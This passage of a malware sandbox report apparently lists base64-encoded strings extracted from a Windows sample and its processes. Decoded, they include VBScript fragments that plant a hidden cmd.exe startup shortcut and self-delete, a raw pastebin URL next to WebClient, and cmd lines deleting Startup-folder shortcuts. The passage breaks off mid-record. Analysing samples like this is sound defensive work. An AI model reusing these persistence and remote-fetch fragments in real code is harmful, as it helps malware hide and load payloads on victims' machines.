Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q3VycmVudFByb2Nlc3M=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"R2V0RGlyZWN0b3JpZXM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"R2V0RW50cnlBc3NlbWJseQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"R2V0RmlsZU5hbWVXaXRob3V0RXh0ZW5zaW9u","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"R2V0Rm9sZGVyUGF0aA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Z2V0T2xkU2hvcnRCVEM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"R2V0UHJvY2Vzc2VzQnlOYW1l","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"R2V0VGVtcFBhdGg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"R3VpZEF0dHJpYnV0ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L1gwYkN3c1Iz","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":0,"total":64},{"value":"SURpc3Bvc2FibGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"SUVudW1lcmFibGVgMQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"SW50ZXJuYWxOYW1l","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"aXNBbHBoYU51bWVyaWM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"aXNJbnN0YWxsZWQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"SXNMZXR0ZXJPckRpZ2l0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"aXNTaW1pbGFy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"aXNWYWxpZEFkZHJlc3M=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"TGVnYWxDb3B5cmlnaHQ=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"TGVnYWxUcmFkZW1hcmtz","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"bG5rLkFyZ3VtZW50cyA9ICIvayBzdGFydCAiIiIiICIi","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"bG5rLkFyZ3VtZW50cyA9IFwiL2sgc3RhcnQgXCJcIlwiXCIgXCJcIg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"bG5rLlNhdmU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"bG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSI=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"bG5rLlRhcmdldFBhdGggPSBcImNtZC5leGVcIg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"bG5rLldpbmRvd1N0eWxlID0gIjci","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"bG5rLldpbmRvd1N0eWxlID0gXCI3XCI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"bWFrZVN0YXJ0dXBTaG9ydGN1dA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"TWljcm9zb2Z0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"bXNjb3JlZS5kbGw=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"b2JqRlNPLkRlbGV0ZUZpbGUoV3NjcmlwdC5TY3JpcHRGdWxsTmFtZSk=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"T3JpZ2luYWxGaWxlbmFtZQ==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"UHJvY2Vzc1N0YXJ0SW5mbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"UHJvZHVjdE5hbWU=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"UHJvZHVjdFZlcnNpb24=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"UmVhZEFsbFRleHQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"UnVudGltZUNvbXBhdGliaWxpdHlBdHRyaWJ1dGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCI=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KFwi","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9iakZTTyA9IENyZWF0ZU9iamVjdCgiU2NyaXB0aW5nLkZpbGVTeXN0ZW1PYmplY3QiKQ==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9iakZTTyA9IENyZWF0ZU9iamVjdChcIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0XCIp","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKQ==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoXCJXU2NyaXB0LlNoZWxsXCIp","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"c2V0X0FyZ3VtZW50cw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"c2V0X0NyZWF0ZU5vV2luZG93","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"c2V0X0ZpbGVOYW1l","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"c2V0X1VzZVNoZWxsRXhlY3V0ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"U2V0QXR0cmlidXRlcw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"c2V0U2hvcnRCVEM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"U3BlY2lhbEZvbGRlcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"U3RhcnRzV2l0aA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"U1RBVGhyZWFkQXR0cmlidXRl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"U3RyZWFtV3JpdGVy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"U3RyaW5nRmlsZUluZm8=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"U3Vic3RyaW5n","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"U3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"U3lzdGVtLkNvcmU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"U3lzdGVtLkRpYWdub3N0aWNz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"U3lzdGVtLklP","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"U3lzdGVtLkxpbnE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"U3lzdGVtLk5ldA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"U3lzdGVtLlJlZmxlY3Rpb24=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"U3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"U3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2Vz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"U3lzdGVtLlRocmVhZGluZw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"U3lzdGVtLldpbmRvd3MuRm9ybXM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"VGV4dFdyaXRlcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"VG9DaGFyQXJyYXk=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"VHJhbnNsYXRpb24=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"djIuMC41MDcyNw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"VmFyRmlsZUluZm8=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"VlNfVkVSU0lPTl9JTkZP","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"V2ViQ2xpZW50","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"V3JhcE5vbkV4Y2VwdGlvblRocm93cw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null}]},{"name":"wscript.exe","strings":[{"value":"IiJjbWQuZXhlIiAvayBAZWNoby4mZGVsICIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLKi5sbmsiJmV4aXQm","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwMTA5NTMxNS52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwMTE5ODUxNi52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwMTI0NDgxLnZicyI=","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwMTI5NTAwMC52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwMTI5NTA2My52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwMTM1MjI2OC52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwMTQ0NjY0Ny52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwMTU4MTEwNy52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwMTk2MzY2LnZicyI=","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwMTk5MDQ1Ny52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwMjAzMTY5Ny52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwMjE0NDIwOS52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwMjE2MjE0NS52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwMjQzMTY3My52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwMjc2ODc3LnZicyI=","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwMjc4ODMxMC52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwMjg3OTQ4OC52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwMzAxOTMwOS52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwMzA3NzEzMC52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwMzE5NzY1OS52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwMzMzMDAxNS52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwNDYwMTY5Mi52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwNDc3MDY2OC52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwNTM4Mjk2Ni52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwNTU4MTkwMS52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwNTYyOTg1LnZicyI=","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwNjU0NDE3My52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwNjY4NzI1OS52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwNjc1MjQ4My52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwNzAzNjY4Mi52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwNzA4NzIzNC52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwNzE3MTE0My52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwNzI4NDgxMy52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwNzQxOTI3NC52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwNzQzNDU2MS52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwNzU5NzYyNC52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwNzczMjY5MS52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwNzk0NDM5OC52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwODE5MjUyOS52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwODI0NTc5My52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwODc5MDE0Ny52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwOTA2OTA0OC52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwOTMyMTkzMy52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwOTkzNjEzMS52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null}]},{"name":"network.pcap","strings":[{"value":"IkNPTU9ETyBSU0EgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkw","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"Ki5wYXN0ZWJpbi5jb20=","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"L0NPTU9ETyBSU0EgRG9tYWluIFZhbGlkYXRpb24gU2VjdXJlIFNlcnZlciBDQSAyMA==","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"L2h0dHA6Ly9jcnQuY29tb2RvY2EuY29tL0NPTU9ET1JTQUFkZFRydXN0Q0EuY3J0MCU=","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"MDAwNTMwMTA0ODM4Wg==","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"MTQwOTI1MDAwMDAwWg==","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"MTYxMjE4MDAwMDAwWg==","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"MTcxMjE2MjM1OTU5WjBsMSEw","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"MjAwNTMwMTA0ODM4WjA=","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"MjkwOTI0MjM1OTU5WjA=","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"M2h0dHA6Ly9jcmwudXNlcnRydXN0LmNvbS9BZGRUcnVzdEV4dGVybmFsQ0FSb290LmNybDA1","type":"Ansi","source":"PCAP 